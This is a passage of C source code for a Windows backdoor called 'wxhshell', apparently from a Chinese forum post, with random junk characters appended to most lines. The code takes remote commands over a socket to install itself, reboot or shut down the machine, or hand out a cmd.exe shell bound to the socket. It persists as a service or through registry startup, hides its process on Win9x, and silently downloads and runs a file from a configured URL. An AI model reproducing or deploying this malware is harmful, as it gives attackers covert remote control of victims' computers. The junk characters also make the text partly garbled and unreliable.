      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); iJ ($YvF4  
    break; Y[ j6u\y  
  } 6O7'!@@  
  // 安装 h&M{]E9=  
  case 'i': { h}>"j%I  
    if(Install()) .r|tSfm6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &pP;Neh;  
    else 034iK[ib"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |T<_5Ik  
    break; c/:b.>W  
    } K='z G*$l  
  // 卸载 /74QMx?  
  case 'r': { ;nI] !g:  
    if(Uninstall()) F3y9@dA]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /,BD#|  
    else zUt' QH7E.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); EB0TTJR?#  
    break; ]RZ|u*l=x  
    } _F4Ii-6  
  // 显示 wxhshell 所在路径 Wjo[ENHM  
  case 'p': { vt/x ,Y  
    char svExeFile[MAX_PATH]; cb@?}(aFl  
    strcpy(svExeFile,"\n\r"); ](Xb _xMf  
      strcat(svExeFile,ExeFile); %@<8<6&q  
        send(wsh,svExeFile,strlen(svExeFile),0); fnpYT:%fG  
    break; Y@NNrGDkT*  
    } \e:7)R2<!x  
  // 重启 5^}\4.eXo  
  case 'b': { 9)D6Nm  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ]RwpX ^ 1  
    if(Boot(REBOOT)) ,bZL C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N,<uf@LQ  
    else { -{KQr1{5UM  
    closesocket(wsh); CLxynZ \;  
    ExitThread(0); Bm:98? [  
    } 3RigzT3  
    break; ,[N%Q#  
    } kC:uG0sW  
  // 关机 nB_?ckj,  
  case 'd': { raW>xOivR  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); g!|=%(G=  
    if(Boot(SHUTDOWN)) k 9_`(nx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $CRm3#+ ~  
    else { <KJ/<0l  
    closesocket(wsh); *Hg>[@dP0  
    ExitThread(0); ; 8_{e3s  
    } LHyB3V  
    break; 'I`&Yo~c9  
    } _Ym]Mj' ln  
  // 获取shell zZ:>do\2  
  case 's': { bpOYHc6,*`  
    CmdShell(wsh); 'g">LQ~a+  
    closesocket(wsh); ):P?  
    ExitThread(0); # ncRb  
    break; _H9 MwJ  
  } d|jNf</`  
  // 退出 #"}JdBn  
  case 'x': { |+{)_?  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); &U{#Kt5q  
    CloseIt(wsh); C/_ZUF(V  
    break; @hl.lq  
    } 2kqup)82e  
  // 离开 u6J8"< -W  
  case 'q': { '%>=ZhO  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); W4 t;{b  
    closesocket(wsh); 2_)\a(.Qu  
    WSACleanup(); {Je[ZQ$  
    exit(1); ?)/#+[xa  
    break; W=ig.-  
        } <'}YyU=  
  } *HU &4E\a  
  } l(yZO$  
+<'Ev~  
  // 提示信息 -TLlwxc^%  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); I"xo*}  
} BIH-"vTy  
  } O6@j &*jS  
HUcq% .  
  return; 6 [k\@&V-  
} Jf@H/luW  
X enE^e+9  
// shell模块句柄 |O3q@  
int CmdShell(SOCKET sock) 8aZ=?_gvT  
{ cv8L-Z>x.=  
STARTUPINFO si; 3v(*5  
ZeroMemory(&si,sizeof(si)); 9/9j+5}+  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; '_<{ p3M  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; sXqz+z$*  
PROCESS_INFORMATION ProcessInfo; bkRLC_/d  
char cmdline[]="cmd"; n*o-Lo+Fe.  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); f0!))/rSD  
  return 0; ~cWAl,(B<F  
} <<UB ^v m  
6 o^,@~:R  
// 自身启动模式 `34zkPB??  
int StartFromService(void) j 'FVz&  
{ ?}qttj  
typedef struct '|ad_M  
{ y~(h>gi,x  
  DWORD ExitStatus; .nTwPrG  
  DWORD PebBaseAddress; \-L&5x"x  
  DWORD AffinityMask; u^&A W$  
  DWORD BasePriority; vjLJi nJ/  
  ULONG UniqueProcessId; vp1941P  
  ULONG InheritedFromUniqueProcessId; Mc@e0  
}   PROCESS_BASIC_INFORMATION; 8."]//V  
xP_cQwm`1  
PROCNTQSIP NtQueryInformationProcess; a@8v^G  
`Nv=B1  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; w}L]X1#sF  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; #akpXdXs  
-N6f1>}pE  
  HANDLE             hProcess; ; a/X<  
  PROCESS_BASIC_INFORMATION pbi; %) /s;Q,  
phQU D  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); EJj.1/]|r  
  if(NULL == hInst ) return 0; 5]~'_V  
-M~8{buxv  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); czA5n  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); R$v[!A+:'  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); lvdf^b/ j  
v>:Ur}u!D  
  if (!NtQueryInformationProcess) return 0; f< ia(d  
>q#rw  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Ki4r<>\l{H  
  if(!hProcess) return 0; F7A=GF'  
ZLc -RM  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; %}[i'rT>  
AmvEf  
  CloseHandle(hProcess); @_-hk|Nl@  
$>G8_q  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 'g6\CZw(#  
if(hProcess==NULL) return 0; m];]7uB5=  
,ly\Ka?zO  
HMODULE hMod; =FlDb 5t{  
char procName[255]; Z|%_&M  
unsigned long cbNeeded; YA''2Ii  
Az9?Ra;U  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); k@\ iGqo  
VX].3=T8  
  CloseHandle(hProcess); >i_ 2OV  
j@=%_^:i  
if(strstr(procName,"services")) return 1; // 以服务启动 "C }b%aO:  
Hek*R?M|  
  return 0; // 注册表启动 0[A[U_b  
} t=rEt>n~L  
k\wW##=v  
// 主模块 "76 ]u)  
int StartWxhshell(LPSTR lpCmdLine) cq5jPZ}  
{ 1G"z<v B  
  SOCKET wsl; ;}7Rjl#  
BOOL val=TRUE; E08 klC0  
  int port=0; "K  ~  
  struct sockaddr_in door; k;2GEa]w  
wZG\>9~  
  if(wscfg.ws_autoins) Install(); l-fi%Z7C  
3Q"<<pi!~  
port=atoi(lpCmdLine); * ;-*x6  
1uG"f<TsR  
if(port<=0) port=wscfg.ws_port; "&%I)e^  
0+iu(VbF  
  WSADATA data; Y}x>t* I  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ht7l- AK  
00'%EYO  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   :X0k]p  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); %WSo b@f8  
  door.sin_family = AF_INET; s&A} h  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); BD68$y  
  door.sin_port = htons(port); @"hb) 8ng  
nePfu G]Q  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { N< |@ymi  
closesocket(wsl); kEJj=wx  
return 1; .GV;+8HzS  
} 5G::wuxk  
S-P/+K6  
  if(listen(wsl,2) == INVALID_SOCKET) { YT8vP~  
closesocket(wsl); 5}:-h>  
return 1; .|hf\1_J  
} fo5iJz"Z  
  Wxhshell(wsl); hq%?=2'9?  
  WSACleanup(); %+f>2U4I  
>,TUZ  
return 0; V:qSy#e  
vBRQp&YwX  
} J3,fk)  
!i{aMxUP  
// 以NT服务方式启动 |h-QP#]/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 0Z~p%C<LW  
{ Z?}dq-Vh&  
DWORD   status = 0; 'w!Cn>  
  DWORD   specificError = 0xfffffff; FQm`~rA~zt  
>go,K{cK6  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 7"aN#;&  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; `2'#! -  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; SFO({w(  
  serviceStatus.dwWin32ExitCode     = 0; D'7SAFOM  
  serviceStatus.dwServiceSpecificExitCode = 0; E7NV ^4h  
  serviceStatus.dwCheckPoint       = 0; XDsx3Ws  
  serviceStatus.dwWaitHint       = 0; esHg'8?U  
0F]>Jby  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); )+l\w3^6  
  if (hServiceStatusHandle==0) return; nKS7Q1+  
B{|8#jqY  
status = GetLastError(); pczug-nB  
  if (status!=NO_ERROR) lH#u  
{ |L-]fjBbF  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; K17j$o^6KK  
    serviceStatus.dwCheckPoint       = 0; RLw;(*(g  
    serviceStatus.dwWaitHint       = 0; h^?\xm|  
    serviceStatus.dwWin32ExitCode     = status; { WIJC ',Y  
    serviceStatus.dwServiceSpecificExitCode = specificError; g>Y|9Y  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8s"%u )  
    return; Q(lo{AFc  
  } K&bzDzd`  
4NGA/ G  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; fhar&\;S  
  serviceStatus.dwCheckPoint       = 0; >Nvjl~o5  
  serviceStatus.dwWaitHint       = 0; s1=X>'q  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); :QpuO1Gu  
} ^?U!pq -`  
s8wmCzB~  
// 处理NT服务事件,比如:启动、停止 61. Brp.eP  
VOID WINAPI NTServiceHandler(DWORD fdwControl) J!0DR4=Xi  
{ xgbJ2Mh  
switch(fdwControl) ^=T$&gD  
{ 9)}[7Mg:C  
case SERVICE_CONTROL_STOP: pi /g H  
  serviceStatus.dwWin32ExitCode = 0; ;-9=RI0  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; H(bs$C4F  
  serviceStatus.dwCheckPoint   = 0; p!>oo1&  
  serviceStatus.dwWaitHint     = 0; vtw6FX_B  
  { D&/kCi=R  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); k,'L}SK  
  } 87Oad@FOr  
  return; m6TNBX  
case SERVICE_CONTROL_PAUSE: Du`JaJI  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; .uuO>:  
  break; r YogW!  
case SERVICE_CONTROL_CONTINUE: } E0,z  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; .Si,dc\  
  break; *FC=X)_&W  
case SERVICE_CONTROL_INTERROGATE: P\w\N2  
  break; eCN })An  
}; "l*Pd$sr  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); fF?z|  
} N"8_S0=pw  
)^ m%i]L _  
// 标准应用程序主函数 aa?w:3  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ,$+lFv3LE  
{ bu |a0h7e  
ERpnuMb  
// 获取操作系统版本 l ;JA8o\x  
OsIsNt=GetOsVer(); crqpV F]1]  
GetModuleFileName(NULL,ExeFile,MAX_PATH); V=zi >o`   
Y,W uBH  
  // 从命令行安装 #cnq(S=.  
  if(strpbrk(lpCmdLine,"iI")) Install(); V^JV4 `o  
N F2/B#q  
  // 下载执行文件 S'A>2>  
if(wscfg.ws_downexe) { 3{ LP?w:@  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 1 y-y6q  
  WinExec(wscfg.ws_filenam,SW_HIDE); /4c\K-Z;  
} T^w36}a  
LJ*q1 ;<E  
if(!OsIsNt) {  86(I^=  
// 如果时win9x,隐藏进程并且设置为注册表启动 I|>^1kr8w  
HideProc(); e?opkq\f  
StartWxhshell(lpCmdLine); IIg^FZ*]_  
} YQ39 A_e g  
else BnCbon)  
  if(StartFromService()) .C&ktU4  
  // 以服务方式启动 Kz>3 ic$I  
  StartServiceCtrlDispatcher(DispatchTable); F">Qpgt  
else oX0D  
  // 普通方式启动 >}!mQpAO  
  StartWxhshell(lpCmdLine); O J/,pLYu  
Ko;{I?c  
return 0; 0}$Hi  
}
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只看该作者 1 发表于: 2006-10-10
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